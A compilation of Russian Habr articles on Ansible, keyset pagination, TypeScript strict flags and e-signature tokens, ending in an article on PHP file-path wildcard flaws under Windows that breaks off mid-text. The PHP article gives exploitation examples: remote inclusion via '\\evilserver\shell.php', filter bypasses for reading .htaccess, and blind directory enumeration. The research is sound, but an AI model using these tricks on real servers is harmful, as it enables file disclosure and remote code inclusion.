сайт с помощью curl. ``` # curl -LI domain_name.com HTTP/1.1 302 Found Server: nginx Date: Wed, 29 Jun 2022 11:32:10 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=15 Location: http://domain_name.com/wp-admin/setup-config.php HTTP/1.1 200 Server: nginx Date: Wed, 29 Jun 2022 11:32:10 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=15 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 ``` Все работает! Далее необходимо настраивать площадку в веб интерфейсе. ### Пункт 7. Итог. Ну вот мы с вами и познакомились с Ansible и базовыми модулями, которые чаше всего используется в его работе. Разумеется, данная роль ansible не является идеальной, и создана лишь для обучения. Этого мини-курса вполне будет достаточно, чтобы понять, как работает ansible на базовом уровне. Если у вас остались вопросы, можете задавать их в комментариях. Ставьте лайки и подписывайтесь на нас - в дальнейшем будем публиковать еще больше обучающих статьей. Также подписывайтесь на наш telegram-канал [DevOps FM](https://t.me/devops_fm). Рекомендации для чтения: [Зашита от dos/ddos.](https://habr.com/ru/company/nixys/blog/665126/) [Обучение docker.](https://habr.com/ru/company/nixys/blog/661443/) [10 частых ошибок в настройке nginx.](https://habr.com/ru/company/nixys/blog/661233/) [Настройка LEMP сервера с нуля.](https://habr.com/ru/company/nixys/blog/645451/)
https://habr.com/ru/post/674088/
null
ru
null
# Почему нужна инструментальная поддержка пагинации на ключах Всем привет! Я бэкэнд-разработчик, пишу микросервисы на Java + Spring. Работаю в одной из команд разработки внутренних продуктов в компании Тинькофф. ![](https://habrastorage.org/r/w1560/webt/u8/by/ai/u8byai9btfgtbvmupsjvgizvyra.png) У нас в команде часто встает вопрос оптимизации запросов в СУБД. Всегда хочется еще чуть-чуть быстрее, но не всегда можно обойтись продуманно выстроенными индексами — приходится искать какие-то обходные пути. Во время одного из таких скитаний по сети в поисках разумных оптимизаций при работе с БД я нашел [бесконечно полезный блог Маркуса Винанда](https://use-the-index-luke.com/), автора книги SQL Performance Explained. Это тот самый редкий вид блогов, в котором можно читать все статьи подряд. Хочу перевести для вас небольшую статью Маркуса. Ее можно назвать в какой-то степени манифестом, который стремится привлечь внимание к старой, но до сих пор актуальной проблеме производительности операции offset по стандарту SQL. В некоторых местах я буду дополнять автора пояснениями и замечаниями. Все такие места я буду обозначать как «прим.» для большей ясности ### Небольшое введение Думаю, многие знают, насколько проблемной и тормозной оказывается работа с постраничными селектами через offset. А знаете ли вы, что ее можно довольно просто заменить на более производительную конструкцию? Итак, ключевое слово offset указывает базе пропустить первые n записей в запросе. Однако база все еще должна прочитать эти первые n записей с диска, причем в заданном порядке (прим.: применить сортировку, если она задана), и только после этого будет возможно вернуть записи начиная с n+1 и далее. Самое интересное, что проблема не в конкретной реализации в СУБД, но в изначальном определении по стандарту: > ...the rows are first sorted according to the and then limited by dropping the number of rows specified in the from the beginning… > > -SQL:2016, Part 2, 4.15.3 Derived tables (прим.: cейчас самый используемый стандарт) Ключевой пункт здесь в том, что offset принимает единственный параметр — количество записей, которые нужно пропустить, и все. Следуя такому определению СУБД может только достать все записи, а затем отбросить ненужные. Очевидно, что такое определение offset’а заставляет проделывать лишнюю работу. И тут даже не важно, SQL это или NoSQL. ### Еще немного боли Проблемы offset на этом не заканчиваются, и вот почему. Если между чтением двух страниц данных с диска другая операция вставит новую запись, что произойдет в этом случае? ![](https://habrastorage.org/r/w1560/webt/lt/4y/qu/lt4yquxrhnlnnkrtgqdnuxlgfqc.png) Когда используется offset для пропуска записей с предыдущих страниц, в ситуации добавления новой записи между операциями чтения разных страниц, вероятнее всего, вы получите дубликаты (прим.: такое возможно, когда мы читаем постранично с использованием конструкции order by, тогда в середину нашей выдачи может попасть новая запись). Рисунок наглядно изображает такую ситуацию. База читает первые 10 записей, после этого вставляется новая запись, которая смещает все прочитанные записи на 1. Затем база берет новую страницу из 10 следующих записей и начинает не с 11-й, как должна, а с 10-й, дублируя эту запись. Есть и другие аномалии, связанные с использованием этого выражения, но эта — самая распространенная. Как мы уже выяснили, это не проблемы конкретной СУБД или их реализаций. Проблема — в определении пагинации по стандарту SQL. Мы говорим СУБД, какую страницу нужно достать или как много записей пропустить. База просто не в состоянии оптимизировать такой запрос, так как для этого слишком мало информации. Стоит также уточнить, что это проблема не конкретного ключевого слова, а скорее семантики запроса. Есть еще несколько идентичных по проблемности синтаксисов: * Ключевое слово offset, как говорилось ранее. * Конструкция из двух ключевых слов limit [offset] (хотя сам по себе limit не так уж и плох). * Фильтрация по нижним границам, построенная на нумерации строк (например, row\_number(), rownum и т. д.). Все эти выражения просто говорят, сколько строк нужно пропустить, никакой дополнительной информации или контекста. Далее в этой статье ключевое слово offset используется как обобщение всех этих вариантов. ### Жизнь без OFFSET А теперь представим, каким был бы наш мир без всех этих проблем. Оказывается, жизнь без offset не так уж и сложна: селектом можно выбирать только те строки, что мы еще не видели (прим.: то есть те, которых не было на прошлой странице), с помощью условия в where. В этом случае мы отталкиваемся от того факта, что селекты исполняются над упорядоченным множеством (старый добрый order by). Поскольку имеем упорядоченное множество, можем использовать довольно простой фильтр, чтобы доставать только те данные, которые находятся за последней записью предыдущей страницы: ``` SELECT ... FROM ... WHERE ... AND id < ?last_seen_id ORDER BY id DESC FETCH FIRST 10 ROWS ONLY ``` Вот и весь принцип такого подхода. Конечно, при сортировке по многим столбцам все становится веселее, но идея все та же. Важно заметить, что эта конструкция применима на многих [N](https://docs.mongodb.com/manual/reference/method/cursor.skip/)[o](https://developer.couchbase.com/documentation/server/5.0/n1ql/n1ql-language-reference/offset.html)[S](http://orientdb.com/docs/last/Pagination.html#use-the-skip-limit)[Q](https://redis.io/commands/SORT)[L](https://lucene.apache.org/solr/guide/6_6/pagination-of-results.html)-решениях. Такой подход называется seek method или keyset pagination. Он решает проблему с плавающим результатом (прим.: ситуация с записью между чтениями страниц, описанная ранее) и, конечно, что мы все любим, работает быстрее и стабильнее, чем классический offset. Стабильность заключается в том, что время обработки запроса не увеличивается пропорционально номеру запрашиваемой таблицы (прим.: если хочется подробнее узнать про работу разных подходов к пагинации, можно [полистать презентацию автора](https://www.slideshare.net/MarkusWinand/p2d2-pagination-done-the-postgresql-way?ref=https://use-the-index-luke.com/no-offset). Там же можно найти сравнительные бенчмарки по разным методам). Один из слайдов [рассказывает о том](https://www.slideshare.net/MarkusWinand/p2d2-pagination-done-the-postgresql-way/43), что пагинация по ключам, конечно же, не всемогущая — она имеет свои ограничения. Наиболее значимое — у нее нет возможности читать случайные страницы (прим.: непоследовательно). Однако в эпоху бесконечного скроллинга (прим.: на фронтэнде) это не такая уж и проблема. Указание номера страницы для щелчка — в любом случае плохое решение при разработке UI (прим.: мнение автора статьи). ### А что с инструментами? Пагинация на ключах часто не подходит из-за отсутствия инструментальной поддержки данного метода. Большинство из инструментов разработки, в том числе различные фреймворки, не дают выбора, каким именно способом будет выполняться пагинация. Ситуацию усугубляет то, что описанный метод требует сквозной поддержки в используемых технологиях — начиная от СУБД и заканчивая исполнением AJAX-запроса в браузере при бесконечном скроллинге. Вместо того чтобы указывать только номер страницы, теперь придется указывать набор ключей для всех страниц сразу. Однако количество фреймворков, поддерживающих пагинацию на ключах, постепенно растет. Вот что есть на данный момент: * [jOOQ](https://www.jooq.org/) для Java; * [order\_query](https://github.com/glebm/order_query) для Ruby; * [chunkator](https://github.com/peopledoc/django-chunkator) и [Django Infinite Scroll Pagination](https://pypi.org/project/django-infinite-scroll-pagination/) для Django; * [SQL Alchemy sqlakeyset](https://github.com/djrobstep/sqlakeyset) для Python; * [blaze-persistence](https://github.com/Blazebit/blaze-persistence) — criteria API для реализаций JPA; * [DBIx::Class::Wrapper](https://metacpan.org/pod/DBIx::Class::Wrapper::Factory#fast_loop_through) для Perl; * [Massive.js](https://massivejs.org/), мапер для Node.js [Keyset Documentation](https://massivejs.org/docs/options-objects#keyset-pagination). (Прим.: некоторые ссылки были убраны ввиду того, что на момент перевода некоторые библиотеки не обновлялись с 2017—2018 года. Если интересно, можно заглянуть в первоисточник.) Как раз на этом моменте и нужна ваша помощь. Если вы разрабатываете или поддерживаете фреймворк, который хоть как-то использует пагинацию, то я прошу, я призываю, я молю вас сделать нативную поддержку для пагинации на ключах. Если есть вопросы или вам нужна помощь, буду раду помочь ([форум](https://ask.use-the-index-luke.com/), [Twitter](https://twitter.com/MarkusWinand), [форма для обращений](https://use-the-index-luke.com/contact)) (прим.: по моему опыту общения с Маркусом могу сказать, что он действительно относится с энтузиазмом к распространению этой темы). Если же вы пользуетесь готовыми решениями, которые, как вы думаете, достойны иметь поддержку пагинации по ключам, — создайте реквест или даже предложите готовое решение, если это возможно. Можно также указать в ссылке данную статью. ### Заключение Причина, почему такой простой и полезный подход, как пагинация по ключам, мало распространен, не в том, что это сложно в технической реализации или требует каких-то больших усилий. Главная причина в том, что многие привыкли видеть и работать с offset — такой подход диктуется самим стандартом. Как следствие, немногие задумываются о смене подхода к пагинации, а из-за этого и инструментальная поддержка со стороны фреймворков и библиотек развивается слабо. Поэтому, если вам близка идея и цель безофсетной пагинации, — помогите распространить ее! Источник: <https://use-the-index-luke.com/no-offset> Автор: Markus Winand
https://habr.com/ru/post/485036/
null
ru
null
# Strict mode in TypeScript: описание флагов, примеры #### --strict флаг включает следующие флаги (и в какой версии добавлены): --strictNullChecks (2.0) --alwaysStrict (2.1) --noImplicitAny --noImplicitThis (2.0) --strictBindCallApply (3.2) --strictFunctionTypes (2.6) --strictPropertyInitialization (2.7) Приведем примеры и попытаемся разобраться в одном месте, что все это значит. #### // I. --strictNullChecks Знаменитая проблема с NPE (null pointer exception, billion dollar mistake) в контексте TS. По умолчанию в TS все типы Nullable и это значит, что мы можем передать “undefined” | “null” где ожидается любой другой тип (даже примитив): ``` const bar1: { foo: number } = undefined; const bar2: { foo: number } = null; const bar3: number = null; const bar4: string = null; ``` Более интересные примеры это вызов метода, которого может и не быть ``` declare var smth: { optionalMethod?(): string; }; smth.optionalMethod(); ``` Так же подразумевается, что мы не можем вернуть “undefined” | “null” где это явно не ожидается ``` function getIt(): { data: number } { // Type 'undefined' is not assignable to type '{ data: number; }' return undefined; } getIt().data; ``` Придется явно указать, что может вернуться “undefined” и только после этого мы получим ошибку ``` function getIt(): { data: number } | undefined { return undefined; } // “Object is possibly 'undefined'” getIt().data; ``` И как бонус — более безопасные операции, где результата может не быть, с включенным флагом будет ошибка и придется явно проверять, что “find” что-то нашел: ``` // Object is possibly 'undefined' [{ name: 'John', age: 4 }] .find(el => el.age === 42) .name; ``` #### // II. --alwaysStrict Добавляет ['use strict' аннотацию](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) в каждый файл, делая поведение JS более явным #### // III. --noImplicitAny Запрещает не явное использование ‘any’ в TS, т.е. код без аннотации типов ``` // Parameter 'a' implicitly has an 'any' type function id(arg) { return arg; } ``` Отлично помогает с нетипизорованными импортами из сторонних библиотек предлагая установить type definitions ``` /* Could not find a declaration file for module '3rd-party-lib'. '/node_modules/3rd-party-lib/index.js' implicitly has an 'any' type. Try `npm install @types/3rd-party-lib` if it exists or add a new declaration (.d.ts) file containing `declare module '3rd-party-lib';`*/ import * as session from '3rd-party-lib'; ``` #### // IV. --strictBindCallApply Включает “более строгую” проверку типов для “bind”/”call”/”apply”, без флага — это все валидный TS. ``` function getFullName(name: string, surname: string): string { return name + surname; } getFullName.call(null, 'John', 42); getFullName.apply(null, ['John', 42]); getFullName.bind(null)('John'); getFullName.bind(null, 'John')(); getFullName.bind(null, 'John')(42); ``` #### // V. --strictPropertyInitialization + --strictNullChecks Помогает отследить, что все проперти были проинициализированы в конструкторе, также необходимо включить --strictNullChecks, чтобы запретить Nullable types. ``` class User { // Property 'name' has no initializer and is not definitely assigned in the constructor name: string; } ``` Однако, если присваивание будет не в самом конструкторе, убедить TS, что все ок не получится ``` class User2 { // Property 'name' has no initializer and is not definitely assigned in the constructor name: string; constructor(name: string) { this.initializeName(); } initializeName() { this.name = 'John' } } ``` Если не смогли убедить TS, что проперти точно будет проинициализирована — можно сказать “Мамой клянусь, точно проинициализирую!” или более кратко “!” ``` class User3 { // definite assignment assertion name!: string; } ``` #### // VI. --strictFunctionTypes Убирает бивариантную проверку для аргументов Вариантность в программировании, если кратко — это возможность передавать **Supertype**/**Subtype** туда, гда **Type** ожидается. Например, есть иерархия **Shape -> Circle -> Rectangle** то можно ли передать или вернуть **Shape/Rectangle**, если ожидается **Circle**? Вариантность в программировании [habr](https://habr.com/ru/post/218753/), [SO](https://stackoverflow.com/a/48858344/5801495) ``` interface Shape { name: string }; interface Circle extends Shape { width: number }; interface Rectangle extends Circle { height: number }; declare var logSC: (figure: Shape) => Circle; declare var logRC: (figure: Rectangle) => Circle; declare var logCC: (figure: Circle) => Circle; declare var logCS: (figure: Circle) => Shape; declare var logCR: (figure: Circle) => Rectangle; declare var wlogBB: (fn: (figure: Circle) => Circle) => void; wlogBB(logCC); wlogBB(logSC); wlogBB(logCR); // always Error wlogBB(logCS); // Error with --strictFunctionTypes wlogBB(logRC); ``` Подразумевается, что функция не должна мутировать переданный аргумент (выступая в роли type producer), в TS ошибок нету, по факту — есть ``` const squares: Square[] = [{ name: 'Square', width: 5 }]; // function looks like a consumer of argument function addSmth(arg: Shape[]) { // work with argument as a producer arg.push({ name: 'Square' }); } addSmth(squares); ``` #### // VII. --noImplicitThis Если функция определена вне объекта/класса, то TS попросит явно указать на что будет ссылаться “this” используя первый псевдо-аргумент с именем “this” ``` // TS force to add annotation for 'this' function getName(this: { name: string }, surname: string): string { return this.name; } // The 'this' is not assignable getName.call({}, 'Smith'); getName.apply({}, ['Smith']); getName.bind({})('Smith'); ``` Валидными будут вызовы ``` const somePerson = { name: 'John', getName }; const fullName: string = somePerson.getName('Smith') getName.call({name: 'John'}, 'Smith'); getName.apply({name: 'John'}, ['Smith']); getName.bind({name: 'John'})('Smith'); ``` Проблем могут доставить функции-конструкторы ``` function Person(this: { name: string }, name: string) { this.name = name; } // 'new' expression, whose target lacks a construct signature // Use class ) const person = new Person('John'); ``` Интересным бонусом добавлю сравнение способов привязки контекста для классов. ``` class A { x = 42; constructor() { this.getBound = this.getBound.bind(this); } getSimple(): number { return this.x; } // Has to add type for 'this', TS dont force it getSimpleAnnotated(this: A): number { return this.x; } getArrow = (): number => this.x; getBound(this: A): number { return this.x; } } const a = new A(); // False positive: TS - ok, Runtime - error const getSimple = a.getSimple; getSimple(); // Correct: TS - error, Runtime - error const getSimpleAnnotated = a.getSimpleAnnotated; getSimpleAnnotated(); // Correct: TS - ok, Runtime - ok const getArrow = a.getArrow; getArrow(); // False negative: TS - error, Runtime - ok const getBound = a.getBound; getBound(); ```
https://habr.com/ru/post/490970/
null
ru
null
# Электронная подпись физического лица (часть 2) В [первой части](http://habrahabr.ru/blogs/e_gov/131367/) мы разобрали, что такое квалифицированная электронная подпись физического лица, как получить ключи для генерирования этой подписи, а также сертификат для ее верификации. В этом топике я предложу инструмент для генерирования подписи и опишу проблемы, с которыми я столкнулся. Если кому-то не интересно технарство – добро пожаловать в самый конец топика, где выложены файлы проекта. Как я уже говорил, третья свинья от государства заключалась в том, что хотя оно обеспечило меня средствами создания электронной подписи, но не предоставило возможности пользоваться этими средствами по своему усмотрению. Еще раз немного отвлечемся в юридическую сторону. Дело в том, что в нормативных актах РФ есть два примечательных момента: во-первых, должны использоваться сертифицированные средства защиты информации ([Указ Президента](http://www.fsb.ru/fsb/npd/more.htm!id%3D10342822@fsbNpa.html) от 3 апреля 1995 г. № 334 «О мерах по соблюдению законности в области разработки, производства, реализации и эксплуатации шифровальных средств, а также предоставления услуг в области шифрования информации»), а во-вторых, сертификат этот могут получить только средства отечественной разработки, которые используют алгоритмы, рекомендованные ФСБ ([Положение](http://www.fstec.ru/_docs/doc_2_2_010.htm) о сертификации средств защиты информации, утвержденное постановлением Правительства Российской Федерации от 26 июня 1995 г. № 608). А, следовательно, мой ключ обязательно отечественного производства и его производителя можно найти, стоит лишь только захотеть. На самом ключике маркировка минимальная, но мне все равно удалось найти разработчика, это [ЗАО «Аладдин Р.Д.»](http://www.aladdin-rd.ru/catalog/etoken/gost/). Ознакомившись со страничкой, я с сожалением отметил, что SDK для ключика можно получить лишь обратившись в службу техподдержки. На других же сайтах комплект разработчика и того лучше, предлагалось купить. Я решил пойти другим путем, я нашел установленный с сайта госуслуг плагин в папке `%APPDATA%\NVisionGroup\CSuser\` Плагин состоял из трех файлов: `eTPKCS11g.dll, eTPKCS11gx.dll, npCSuser.dll`. Исследуя эти файлы, я сделал вывод, что eTPKCS11g и eTPKCS11gx – интерфейсы для ключика стандарта [PKCS#11](http://en.wikipedia.org/wiki/PKCS11), то есть стандарт взаимодействия с аппаратными ключами. Все алгоритмы, необходимые, для создания подписи, вшиты в устройство, а значит, мне остается только прикрутить интерфейс и, конечно, не нужно будет сертифицировать свою программу в ФСБ, что приятно. Так у меня появилось средство, осталось выбрать цель. #### Верификация Для того, чтобы органы государственной власти признавали мою подпись, у них должен быть инструмент проверки этой подписи, а, значит, я должен пользоваться этим инструментом верификации, чтобы проверять свои изыскания. Такой инструмент я [нашел](https://www.gosuslugi.ru/ru/clients/services/minkomsvyaz/ecp/) прямо на сайте госуслуг: * Подтверждение подлинности ЭП сертификата * Подтверждение подлинности ЭП электронного документа * Подтверждение подлинности ЭП электронного документа в составе документа * Подтверждение подлинности ЭП электронного документа с использованием значения хэш-функции Я решил сосредоточиться на первых двух пунктах: проверить свой собственный сертификат и проверить свою собственную электронную подпись. ##### К коду Являясь старым бородатым win-админом, я нахожусь в списке почитателей .NET в общем и PowerShell в частности, но использовать PS как инструмент для написания программы, создающей электронную подпись, я поостерегся. Нет, это возможно и даже, наверное, интересно, но для начала я выбрал C#. Когда-то давным-давно мой преподаватель в универе говорил, тыкая очередного студента носом: *«Да что это такое? Опять «пузырьки»? А STL для кого писана?»*(upd. Мой товарищ мне припомнил точную цитату: «Глупый программист отсортирует пузырьком, умный программист алгоритмом быстрой сортировки, а хороший программист заглянет в STL») Конечно, не стоит изобретать то, что уже изобретено. Пропустив [платные](http://www.ncryptoki.com/) библиотеки, я взял на вооружение [бесплатные](http://sourceforge.net/projects/pkcs11net/), которые публикуются под [лицензией](http://ru.wikipedia.org/wiki/Лицензии_MIT) Массачусетского Технологического, что позволяет мне невозбранно использовать их в своем проекте. Сам же **я свой проект публикую под лицензией GPL**, в моем понимании средства электронного взаимодействия с государством должны быть бесплатны и открыты. Первым делом необходимо извлечь сертификат из контейнера на устройстве и верифицировать его. Интерфейс моего приложения довольно аскетичен: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/785/985/d98/785985d983ecef7f3a0558b9e4ddb7e6.png) Вытягиваем сертификат в DER-кодировке, смотрим в поля. Мы явно видим, что алгоритм подписи имеет значение *1.2.643.2.2.3*, это ни что иное, как **ГОСТ Р 34.11/34.10-2001**, те самые алгоритмы хеширования и подписи, рекомендованные ФСБ. Интересен субъект: `SERIALNUMBER = 11028310690 CN = Иванов Егор Игоревич C = RU E = thunderquack@mail.ru` Это я. Сюда они уложили мой адрес электронной почты и номер пенсионного страхования. По закону должны были указать номер и имя, а e-mail по моему желанию, но вот что-то, видать, у них не срослось. Кроме этого, я обнаружил свинью 4. ###### Свинья 4. Сертификат действителен только один год. Уж не знаю, кто тут виноват, законом не определены сроки действия, предусмотрено лишь обязательство указания этих сроков. Было бы очень хорошо, если бы спустя год мне на тот же носитель бесплатно записали бы другие данные, памяти на нем 72 килобайта, этого предостаточно, но, боюсь, с нашей-то топорностью снова потребуют уплатить 660 рублей. Сертификат я загрузил на сайт госуслуг, и вот что получил: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/05c/910/b85/05c910b8543aa0b2b66f7c475aa3ba30.png) Очень хорошо. Теперь я пробую вторую кнопку, подписываю файл и загружаю его на сайт: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/953/aa1/c99/953aa1c9939429a13535023617609194.png) Прелестно. Что ж, инструмент готов. Проект на [GITHub](https://github.com/thunderquack/GUSign), там все: исходники, бинарники и примеры — мой сертификат и подписанный документ.
https://habr.com/ru/post/131448/
null
ru
null
# Новые уязвимости доступа к файлам в PHP Какой-нибудь год назад все просто с ума сходили от Error-based MySQL, а unserialize казался чем-то сложным и не встречающимся в реальной жизни. Теперь это уже классические техники. Что уж говорить о таких динозаврах как нуль-байт в инклудах, на смену которому пришел file name truncated. Исследователи постоянно что-то раскапывают, придумывают, а тем временем уже выходят новые версии интерпретаторов, движков, а с ними – новые баги разработчиков. По сути, есть три метода найти уязвимость: смекалка (когда исследователь придумывает какой-нибудь трюк и проверяет, работает ли он на практике), анализ исходного кода и фаззинг. Об одном интересном китайском фаззинге и его развитии с моей стороны я и хочу рассказать. ![Список функций и результаты проверки](https://habrastorage.org/r/w1560/storage/habraeffect/22/bc/22bc8a7efa1a6d8ec68889e6993d2690.png) ### Fuzzing — это не только ценный мех... Началось все с того, что Гугл распорядился выдачей уже не помню на какой запрос и показал сайт на китайском языке: <http://code.google.com/p/pasc2at/wiki/SimplifiedChinese>, где было собрано множество интересных находок китайских фаззеров. Интересно, что в списке были совсем свежие находки, которые только-только публиковались в статьях. Среди них нашелся и привлекший мое внимание код следующего содержания: ``` php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ? ``` Привлек он меня потому, что смысла я не понял, но разобрал в описании знакомые символы «win32» :). Переводить китайскую письменность было странным развлечением даже с помощью google.translate, поэтому я тупо выполнил этот код под виндой и посмотрел на результат. Каково же было мое удивление, когда обнаружилось, что у файла в винде существовали как минимум 4 имени: 1.phP, 1.php, 1.ph>, 1.ph<. Теперь уже китайская письменность не казалась мне такой далекой, и переводчик Гугла помог понять ее смысл. Собственно, в этом самом «смысле» не было ничего больше, чем описание кода и результата его работы. Не то чтобы не густо — вообще никак! Такое положение дел меня не устраивало. До сих пор не понимаю этих китайцев — неужели им не интересно было понять, какие функции еще уязвимы, какие особенности у этого бага при эксплуатации, а конце концов, почему это вообще работает? ### Требую продолжения банкета! Первым делом я добавил второй итератор и запустил код с фаззингом уже по двум последним байтам. Результаты были непредсказуемы: ``` 1.p<0 (нуль-байт на конце) 1.p< (пробел на конце) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P) ``` Отсюда явно проглядывались закономерности — на конце имени файла могли идти символы: точка, двойная кавычка, пробел, нуль-байт. Чтобы проверить эту догадку, я запустил следующий код: ``` php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ? ``` Как нетрудно догадаться, он вернул 1337, то есть все работало так, как и было предсказано. Это само по себе было уже расширение по символам популярной уязвимости, альтернативы нуль-байту в инклудах. После продолжения издевательств над интерпретатором были найдены конструкции имени файла со слэшами на концах, которые тоже читались без проблем: ``` file\./.\. file////. file\\\. file\\.//\/\/\/. ``` Думаю, здесь все ясно: если использовать слэши после имени файла, то на конце всегда должна стоять точка. При этом слэши можно миксовать, и между ними можно втыкать одну точку. При всем при этом оставалось неясным главное — что скрывают символы < и >? ### Великий и могучий WINAPI Как мне быстро стало понятно, фаззингом природу этой ошибки не поймешь. Оставалось два варианта: смотреть сорцы или трассировать вызовы. Оба эти метода довольно быстро указали на одно и то же — вызов функции FindFirstFile. При этом в стеке вызов проходил уже с заменой символа > на ?, а < на \*, двойная кавычка же заменялась на точку. Также очень весело было замечать, что, несмотря на замену, < не всегда работала как \* в маске файла, а вот << всегда хорошо отрабатывала. При этом в стеке оба вызова были совершенно одинаковые, но давали разный результат (см. рисунок). Теперь стало полностью ясно, откуда растут ноги. И ноги действительно росли из Ж под именем MS. ![](http://habrastorage.org/r/w1560/storage/habraeffect/9a/00/9a00437ecf9290203ef0e8d7c078b38d.png) ### Польза MSDN Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: [msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx](http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx). В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях… > Bug?! > > The characters of '<' and '>' are treated like wildcard by this function. > > > > [MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer. > > History > > > > 10/19/2007 > > xMartian > > > > 5/2/2008 > > Mark Amos — MSFT То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием… Без комментариев :). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file\_get\_contents: 1. Символы \* и? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются). 2. Символ < заменяется при вызове FindFirstFile на \*, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно (см. картинку). Для гарантированной маски \* следует использовать <<. **Пример:** include('shell<') подключит файл shell\*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту. 3. Символ > заменяется при вызове FindFirstFile на ?, то есть один любой символ. **Пример**: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту. 4. Символ " заменяется при вызове FindFirstFile на точку. **Пример:** include('shell«php') эквивалентно include('shell.php'). 5. Если первый символ в имени файла точка, то прочитать файл можно по имени без учета этой точки. **Пример:** fopen(»htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1,fopen(«h<<»). Так как в имени файла вторая буква «а», то по алфавиту он, скорее всего, будет первым. 6. В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая. **Пример:** fopen("") 7. Можно использовать сетевые имена, начинающиеся с \\, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max\_execution\_time (смотри статью «[Гюльчатай, открой личико](http://www.xakep.ru/post/52630/default.asp)»). Также это позволяет обходить allow\_url\_fopen=Off и делать RFI. **Пример:** include('\\evilserver\shell.php') 8. Можно использовать расширенные имена, начинающиеся с \\.\, что дает возможность переключаться между дисками в имени файла. **Пример:** include('\\.\C:\my\file.php\..\..\..\D:\anotherfile.php'). 9. Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей. **Пример:** file\_get\_contents('C:boot.ini') эквивалентно file\_get\_contents('C:/boot.ini') 10. Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв. **Цитата:** > Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC. **Пример:** in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file\_get\_contents('< - В PHP под окружением командной строки (не mod\_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9. **Пример:** file\_get\_contents('C:/tmp/con.jpg') будет бесконечно читать из устройства CON нуль-байты, ожидая EOF. **Пример:** file\_put\_contents('C:/tmp/con.jpg',chr(0x07)) пискнет динамиком сервера (музыка :)). Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет :). ### Играем в считалочку Поверить китайскому в подписи под фаззингом о том, что уязвимость касается только file\_get\_contents, я просто не мог, хотя бы потому, что немного помнил исходники PHP. Недолго думая, я проверил все функции, которые вспомнил касательно работы с файлами. Результаты оказались более чем положительные. Уязвимость присутствует в функциях: ``` fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open() ``` Не присутствует в: ``` rename unlink rmdir ``` Есть где разгуляться, не правда ли? Но это еще полбеды. ### PoC: идеи использования Очевидно, что данную уязвимость можно использовать для обхода все возможных фильтров и ограничений. Например, для файла .htaccess, альтернативное имя будет h<< (см. п.4, п.1). Двухсимвольные файлы вообще можно читать без имени (см. п.9.). Ну и так далее. Есть и другое, не менее интересное применение — определение имен папок и файлов. Рассмотрим пример: ``` php file_get_contents("/images/".$_GET['a'].".jpg"); ? ``` С помощью такого кода можно очень просто получить список директорий веб-сервера. Посылаем запрос test.php?a=../a<%00 и получаем ответ вида ``` Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ... ``` или ``` Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ... ``` В первом случае сервер не нашел ни одной директории начинающейся с буквы «а» в корне, во втором — нашел. Далее можно запустить подбор второй буквы и так далее. Для ускорения можно воспользоваться фонетикой (см. статью [«Быстрее, выше и снова быстрее. Революционные подходы к эксплуатации SQL-инъекций»](http://www.xakep.ru/magazine/xa/132/062/1.asp)). Работает старая добрая техника эксплуатации слепых SQL инъекций. В ходе проведения опытов было замечено, что иногда сервер сразу выдает найденный путь в сообщении об ошибке. Тогда подбирать придется только в случае, если директории начинаются с одного и того же символа. От 